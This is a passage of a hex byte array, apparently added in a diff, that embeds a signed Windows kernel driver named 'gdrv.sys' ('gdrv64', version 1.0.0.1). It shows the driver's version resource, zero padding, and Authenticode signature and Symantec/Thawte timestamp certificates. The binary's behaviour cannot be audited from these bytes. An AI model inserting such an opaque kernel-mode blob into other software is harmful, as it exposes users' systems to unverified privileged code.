0x00, 0x72, 0x00, 0x69, 0x00, + 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, + 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, + 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, + 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, + 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, + 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, + 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, + 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, + 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, + 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xF8, 0xA0, 0x00, 0xA1, + 0x08, 0xA1, 0x10, 0xA1, 0xB8, 0xA1, 0xD0, 0xA1, 0xD8, 0xA1, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, + 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1E, 0x99, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1E, 0x8A, 0x30, + 0x82, 0x1E, 0x86, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, + 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x82, 0x01, 0xA8, 0x06, + 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, + 0x82, 0x01, 0x98, 0x30, 0x82, 0x01, 0x94, 0x30, 0x82, 0x01, 0x6D, 0x06, + 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, + 0x82, 0x01, 0x5D, 0x03, 0x01, 0x00, 0xA0, 0x82, 0x01, 0x56, 0xA1, 0x82, + 0x01, 0x52, 0x04, 0x10, 0xA6, 0xB5, 0x86, 0xD5, 0xB4, 0xA1, 0x24, 0x66, + 0xAE, 0x05, 0xA2, 0x17, 0xDA, 0x8E, 0x60, 0xD6, 0x04, 0x82, 0x01, 0x3C, + 0x31, 0x82, 0x01, 0x38, 0x30, 0x82, 0x01, 0x34, 0x06, 0x0A, 0x2B, 0x06, + 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x03, 0x01, 0x31, 0x82, 0x01, 0x24, + 0x04, 0x82, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x42, 0xF0, 0x63, + 0x0E, 0x03, 0xB4, 0x39, 0xF0, 0x67, 0xD0, 0xB1, 0x98, 0x56, 0x51, 0xF8, + 0x55, 0x81, 0x87, 0xBB, 0x00, 0x04, 0x00, 0x00, 0xC8, 0x09, 0x9C, 0xAC, + 0x56, 0xC2, 0x4E, 0x91, 0x87, 0xA9, 0xBA, 0x3A, 0x41, 0x00, 0x8A, 0x63, + 0xFF, 0x63, 0x20, 0xF5, 0x00, 0x14, 0x00, 0x00, 0xAE, 0x9A, 0x08, 0xC8, + 0x17, 0xEF, 0xCD, 0xDF, 0x73, 0x8E, 0x95, 0xD4, 0x04, 0x21, 0xD9, 0x91, + 0x7D, 0x94, 0x8F, 0x37, 0x00, 0x24, 0x00, 0x00, 0xD2, 0xE2, 0x21, 0x90, + 0xF4, 0x35, 0xA7, 0xC8, 0xED, 0x11, 0xC4, 0xA8, 0x14, 0x29, 0xA9, 0x5C, + 0xAC, 0x70, 0xEF, 0x98, 0x00, 0x30, 0x00, 0x00, 0x2C, 0xCF, 0x64, 0xA1, + 0x96, 0x1C, 0xA6, 0x4F, 0xA4, 0x56, 0x4D, 0x96, 0x7E, 0xE2, 0xCF, 0xF4, + 0x44, 0xB0, 0xC0, 0xAE, 0x00, 0x38, 0x00, 0x00, 0x24, 0xB1, 0x02, 0xB3, + 0x62, 0x96, 0x08, 0x3E, 0x4F, 0x2F, 0x41, 0xA9, 0x67, 0x89, 0x93, 0xDC, + 0x25, 0x4C, 0x20, 0xB7, 0x00, 0x3A, 0x00, 0x00, 0x79, 0x8C, 0x65, 0x36, + 0xA9, 0x2D, 0x3B, 0xE4, 0xEF, 0xC5, 0x4D, 0x13, 0x8F, 0x51, 0x46, 0xFE, + 0xCB, 0x0D, 0xAA, 0x08, 0x00, 0x3C, 0x00, 0x00, 0xF4, 0xC1, 0x6A, 0xFC, + 0xB5, 0x43, 0x6A, 0xFD, 0x18, 0xB9, 0x8C, 0x64, 0xB7, 0x4D, 0x02, 0xD6, + 0xF9, 0x3A, 0x9B, 0xB8, 0x00, 0x3E, 0x00, 0x00, 0xF6, 0x95, 0xBD, 0xF3, + 0x7A, 0x5A, 0x4A, 0xB9, 0xA4, 0x07, 0x04, 0x77, 0x26, 0x6A, 0x44, 0xF4, + 0x7B, 0x09, 0xB3, 0x04, 0x00, 0x44, 0x00, 0x00, 0xEB, 0xF4, 0x2C, 0xFA, + 0x74, 0x90, 0x80, 0xD3, 0x34, 0x51, 0x0B, 0xAF, 0xCA, 0x5F, 0x9D, 0x6F, + 0x68, 0xA5, 0xE0, 0x30, 0x00, 0x48, 0x00, 0x00, 0xDC, 0x15, 0x74, 0x35, + 0x89, 0x13, 0xAD, 0xE7, 0xE0, 0x22, 0x48, 0x18, 0xFC, 0xA0, 0xEA, 0x03, + 0xD7, 0x7E, 0xBC, 0x64, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, + 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x5C, 0x26, 0xF1, 0x30, 0xF6, + 0xA5, 0xAD, 0x8B, 0xDD, 0x2E, 0xED, 0x29, 0x14, 0x05, 0x42, 0xDA, 0xE0, + 0x88, 0x5B, 0x17, 0xA0, 0x82, 0x18, 0x86, 0x30, 0x82, 0x03, 0xEE, 0x30, + 0x82, 0x03, 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, + 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, + 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, + 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0x8B, 0x31, 0x0B, 0x30, 0x09, + 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, + 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, + 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, + 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75, 0x72, 0x62, 0x61, + 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, + 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, + 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, + 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, + 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, + 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, + 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, + 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, + 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, + 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, + 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, + 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, + 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, + 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, + 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, + 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, + 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, + 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xB1, 0xAC, 0xB3, 0x49, + 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, + 0x2A, 0x6F, 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, + 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, + 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74, 0xCC, 0x22, 0xD7, + 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, + 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, + 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, + 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, 0x53, 0xA6, + 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, + 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, + 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, + 0xFF, 0xC5, 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, + 0x65, 0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, + 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, + 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, + 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, + 0xF7, 0x98, 0x71, 0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, + 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, 0x96, 0xE8, + 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, + 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, + 0x46, 0x7E, 0x54, 0xC1, 0x13, 0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, + 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, + 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, + 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, + 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30, 0x32, 0x06, 0x08, 0x2B, 0x06, + 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, + 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, + 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, + 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x12, + 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, + 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, + 0x1F, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, + 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, + 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, + 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, + 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, + 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, + 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, + 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, + 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, + 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, + 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, + 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, + 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, + 0x68, 0xB5, 0xFA, 0xE3, 0x09, 0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, + 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, + 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, 0x23, 0x73, + 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, + 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96, 0x00, 0xAD, 0xCE, 0x0C, 0x4D, + 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, + 0x57, 0x4C, 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, + 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, + 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06, 0x5E, 0xA6, 0x38, + 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, + 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, + 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, + 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, + 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5E, 0x31, 0x0B, 0x30, + 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, + 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, + 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, + 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, + 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, + 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x1E, 0x17, 0x0D, 0x31, + 0x32, 0x31, 0x30, 0x31, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, + 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x32, 0x39, 0x32, 0x33, 0x35, 0x39, + 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, + 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, + 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 